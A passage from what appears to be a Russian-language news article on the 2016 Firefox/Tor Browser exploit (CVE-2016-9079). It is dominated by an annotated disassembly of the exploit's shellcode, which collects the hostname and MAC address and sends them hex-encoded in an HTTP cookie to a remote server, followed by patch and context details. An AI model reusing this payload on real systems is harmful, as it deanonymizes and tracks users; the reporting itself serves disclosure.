00000148 E8F9000000 call 0x246 # strlen of gethostname
0000014D 5E pop esi
0000014E 89CA mov edx,ecx
00000150 8DBDE9020000 lea edi,[ebp+0x2e9]
00000156 E8EB000000 call 0x246 # strlen (to move EDI to the NULL byte at the end of the HTTP string)
0000015B 4F dec edi
0000015C 83FA20 cmp edx,byte +0x20
0000015F 7C05 jl 0x166
00000161 BA20000000 mov edx,0x20
00000166 89D1 mov ecx,edx
00000168 56 push esi
00000169 F3A4 rep movsb
0000016B B90D000000 mov ecx,0xd
00000170 8DB5C4020000 lea esi,[ebp+0x2c4] "rnCookie: ID="
00000176 F3A4 rep movsb
00000178 89BD4B020000 mov [ebp+0x24b],edi
0000017E 5E pop esi
0000017F 56 push esi
00000180 68A9283480 push dword 0x803428a9 # gethostbyname
00000185 FFD5 call ebp
00000187 85C0 test eax,eax
00000189 0F84AA000000 jz near 0x239
0000018F 668B480A mov cx,[eax+0xa]
00000193 6683F904 cmp cx,byte +0x4
00000197 0F829C000000 jc near 0x239
0000019D 8D400C lea eax,[eax+0xc]
000001A0 8B00 mov eax,[eax]
000001A2 8B08 mov ecx,[eax]
000001A4 8B09 mov ecx,[ecx]
000001A6 B800010000 mov eax,0x100
000001AB 50 push eax
000001AC 89E7 mov edi,esp
000001AE 29C4 sub esp,eax
000001B0 89E6 mov esi,esp
000001B2 57 push edi
000001B3 56 push esi
000001B4 51 push ecx
000001B5 51 push ecx
000001B6 684872D2B8 push dword 0xb8d27248 # iphlpapi.dll!SendARP
000001BB FFD5 call ebp
000001BD 85C0 test eax,eax
000001BF 81C404010000 add esp,0x104
000001C5 0FB70F movzx ecx,word [edi]
000001C8 83F906 cmp ecx,byte +0x6
000001CB 726C jc 0x239
000001CD B906000000 mov ecx,0x6
000001D2 B810000000 mov eax,0x10
000001D7 29C4 sub esp,eax
000001D9 89E7 mov edi,esp
000001DB 89CA mov edx,ecx
000001DD D1E2 shl edx,1
000001DF 50 push eax
000001E0 52 push edx
000001E1 31D2 xor edx,edx
000001E3 8A16 mov dl,[esi]
000001E5 88D0 mov al,dl
000001E7 24F0 and al,0xf0 # It actually turns the raw data into hex strings before appending it to the HTTP header
000001E9 C0E804 shr al,0x4
000001EC 3C09 cmp al,0x9
000001EE 7704 ja 0x1f4
000001F0 0430 add al,0x30
000001F2 EB02 jmp short 0x1f6
000001F4 0437 add al,0x37
000001F6 8807 mov [edi],al
000001F8 47 inc edi
000001F9 88D0 mov al,dl
000001FB 240F and al,0xf
000001FD 3C09 cmp al,0x9
000001FF 7704 ja 0x205
00000201 0430 add al,0x30
00000203 EB02 jmp short 0x207
00000205 0437 add al,0x37
00000207 8807 mov [edi],al
00000209 47 inc edi
0000020A 46 inc esi
0000020B E2D4 loop 0x1e1
0000020D 59 pop ecx
0000020E 29CF sub edi,ecx
00000210 89FE mov esi,edi
00000212 58 pop eax
00000213 01C4 add esp,eax
00000215 8BBD4B020000 mov edi,[ebp+0x24b]
0000021B F3A4 rep movsb
0000021D C6854F02000001 mov byte [ebp+0x24f],0x1
00000224 E82E000000 call 0x257 # Append "Connection: keep-alivernAccept: */*rnAccept-Encoding: gziprnrn" and return the new strlen(ebp + 0x2e9)
00000229 31C0 xor eax,eax
0000022B 50 push eax
0000022C 51 push ecx
0000022D 29CF sub edi,ecx
0000022F 4F dec edi
00000230 57 push edi
00000231 53 push ebx
00000232 68C2EB385F push dword 0x5f38ebc2 # send
00000237 FFD5 call ebp
00000239 53 push ebx
0000023A 68756E4D61 push dword 0x614d6e75 # closesocket
0000023F FFD5 call ebp
00000241 E9C8FEFFFF jmp 0x10e
00000246 31C9 xor ecx,ecx
00000248 F7D1 not ecx
0000024A 31C0 xor eax,eax
0000024C F2AE repne scasb
0000024E F7D1 not ecx
00000250 49 dec ecx
00000251 C3 ret
00000252 0000 add [eax],al
00000254 0000 add [eax],al
00000256 skipping 0x1 bytes
00000257 8DBDE9020000 lea edi,[ebp+0x2e9]
0000025D E8E4FFFFFF call 0x246
00000262 4F dec edi
00000263 B94F000000 mov ecx,0x4f
00000268 8DB575020000 lea esi,[ebp+0x275]
0000026E F3A4 rep movsb
00000270 8DBDE9020000 lea edi,[ebp+0x2e9]
00000276 E8CBFFFFFF call 0x246
0000027B C3 ret
0000027C 0D0A436F6E or eax,0x6e6f430a
00000281 6E outsb
00000282 656374696F arpl [gs:ecx+ebp*2+0x6f],si
00000287 6E outsb
00000288 3A20 cmp ah,[eax]
0000028A 6B656570 imul esp,[ebp+0x65],byte +0x70
0000028E 2D616C6976 sub eax,0x76696c61
00000293 650D0A416363 gs or eax,0x6363410a
00000299 657074 gs jo 0x310
0000029C 3A20 cmp ah,[eax]
0000029E 2A2F sub ch,[edi]
000002A0 2A0D0A416363 sub cl,[0x6363410a]
000002A6 657074 gs jo 0x31d
000002A9 2D456E636F sub eax,0x6f636e45
000002AE 64696E673A20677A imul ebp,[fs:esi+0x67],dword 0x7a67203a
000002B6 69700D0A0D0A00 imul esi,[eax+0xd],dword 0xa0d0a
000002BD 83C70E add edi,byte +0xe
000002C0 31C9 xor ecx,ecx
000002C2 F7D1 not ecx
000002C4 31C0 xor eax,eax
000002C6 F3AE repe scasb
000002C8 4F dec edi
000002C9 FFE7 jmp edi
000002CB 0D0A436F6F or eax,0x6f6f430a
000002D0 6B69653A imul ebp,[ecx+0x65],byte +0x3a
000002D4 204944 and [ecx+0x44],cl
000002D7 3D7773325F cmp eax,0x5f327377
000002DC 3332 xor esi,[edx]
000002DE 004950 add [ecx+0x50],cl
000002E1 48 dec eax
000002E2 4C dec esp
000002E3 50 push eax
000002E4 41 inc ecx
000002E5 50 push eax
000002E6 49 dec ecx
000002E7 0002 add [edx],al
000002E9 0000 add [eax],al
000002EB 50 push eax
000002EC 41 inc ecx
000002ED DECA fmulp st2
000002EF 3647 ss inc edi
000002F1 45 inc ebp
000002F2 54 push esp
000002F3 202F and [edi],ch
000002F5 303563656134 xor [0x34616563],dh
000002FB 64652D39353164 gs sub eax,0x64313539
00000302 2D34303337 sub eax,0x37333034
00000307 2D62663866 sub eax,0x66386662
0000030C 2D66363930 sub eax,0x30393666
00000311 3535623237 xor eax,0x37326235
00000316 396262 cmp [edx+0x62],esp
00000319 204854 and [eax+0x54],cl
0000031C 54 push esp
0000031D 50 push eax
0000031E 2F das
0000031F 312E xor [esi],ebp
00000321 310D0A486F73 xor [0x736f480a],ecx
00000327 743A jz 0x363
00000329 2000 and [eax],al
0000032B 0000 add [eax],al
0000032D 0000 add [eax],al
0000032F 0000 add [eax],al
00000331 0000 add [eax],al
00000333 0000 add [eax],al
00000335 0000 add [eax],al
00000337 0000 add [eax],al
00000339 0000 add [eax],al
0000033B 0000 add [eax],al
0000033D 0000 add [eax],al
0000033F 0000 add [eax],al
00000341 0000 add [eax],al
00000343 0000 add [eax],al
00000345 0000 add [eax],al
00000347 0000 add [eax],al
00000349 0000 add [eax],al
0000034B 0000 add [eax],al
0000034D 0000 add [eax],al
0000034F 0000 add [eax],al
00000351 0000 add [eax],al
00000353 0000 add [eax],al
00000355 0000 add [eax],al
00000357 0000 add [eax],al
00000359 0000 add [eax],al
0000035B 0000 add [eax],al
0000035D 0000 add [eax],al
0000035F 0000 add [eax],al
00000361 0000 add [eax],al
00000363 0000 add [eax],al
00000365 0000 add [eax],al
00000367 0000 add [eax],al
00000369 0000 add [eax],al
0000036B 0000 add [eax],al
0000036D 0000 add [eax],al
0000036F 0000 add [eax],al
00000371 0000 add [eax],al
00000373 0000 add [eax],al
00000375 0000 add [eax],al
00000377 0000 add [eax],al
00000379 0000 add [eax],al
0000037B 0000 add [eax],al
0000037D 0000 add [eax],al
0000037F 0000 add [eax],al
00000381 0000 add [eax],al
00000383 0000 add [eax],al
00000385 0000 add [eax],al
00000387 0000 add [eax],al
00000389 0000 add [eax],al
0000038B 0000 add [eax],al
0000038D 0000 add [eax],al
0000038F 0000 add [eax],al
00000391 0000 add [eax],al
00000393 0000 add [eax],al
00000395 0000 add [eax],al
00000397 0000 add [eax],al
00000399 0000 add [eax],al
0000039B 0000 add [eax],al
0000039D 0000 add [eax],al
0000039F 0000 add [eax],al
000003A1 0000 add [eax],al
000003A3 0000 add [eax],al
000003A5 0000 add [eax],al
000003A7 0000 add [eax],al
000003A9 0000 add [eax],al
000003AB 0000 add [eax],al
000003AD 0000 add [eax],al
000003AF 0000 add [eax],al
000003B1 0000 add [eax],al
000003B3 0000 add [eax],al
000003B5 0000 add [eax],al
000003B7 0000 add [eax],al
000003B9 0000 add [eax],al
000003BB 90 nop
Сотрудник отдела безопасности Mozilla Дэниель Ведиц говорит, что схожесть кода эксплойтов 2013 и 2016 года вызвала слухи, что в работу по деанонимизации пользователей Tor опять включились правоохранительные органы и спецслужбы. Но в данное время это не известно наверняка. Тем не менее, если этот эксплойт опять разработали спецслужбы, а теперь он лежит в открытом доступе и дсотупен для использования всеми желающими, то это ещё раз демонстрирует, что действия правительства по сокрытию уязвимостей для использования в своих нуждах — это угроза безопасности всем пользователям интернета.
Новая версия Firefox с патчем имеет номер версии 50.0.2 (пропатчены также Firefox ESR 45.5.1 и Thunderbird 45.5.1). В сопроводительной информации указан номер закрытой уязвимости CVE-2016-9079 («критическая»). Отдельно выпущена рекомендация по безопасности от Mozilla. Там сказано, что эксплойт действует также в почтовом клиенте Thunderbird и в версии браузера с долговременной поддержкой Firefox ESR. Эксплойт использует уязвимость использования памяти после освобождения процессом SVG Animation, со ссылкой на баг 1321066 (Iterator invalidation in nsSMILTimeContainer::NotifyTimeChange()). Там же опубликован пример эксплойта (zip-архив), лог из браузера Firefox 50.0.1 после выполнения эксплойта, лог из Firefox Nightly и видеоролик краша Firefox.
В ветке обсуждения бага в баг-трекере Mozilla высказали оценку, что данный код в браузере оставался без изменений примерно пять лет. Соответственно, браузеры Firefox и Tor были уязвимы для такого типа атаки примерно столько же времени. И можно сделать вывод, что уязвимость присутствует во всех форках, модификациях, ветках Firefox и альтернативных браузерах, сделанных на основе кода Firefox.
Кроме обновления браузера, вчера Tor выпустила и обновление расширения NoScript для Firefox (NoScript 2.9.5.2).
Автор: alizar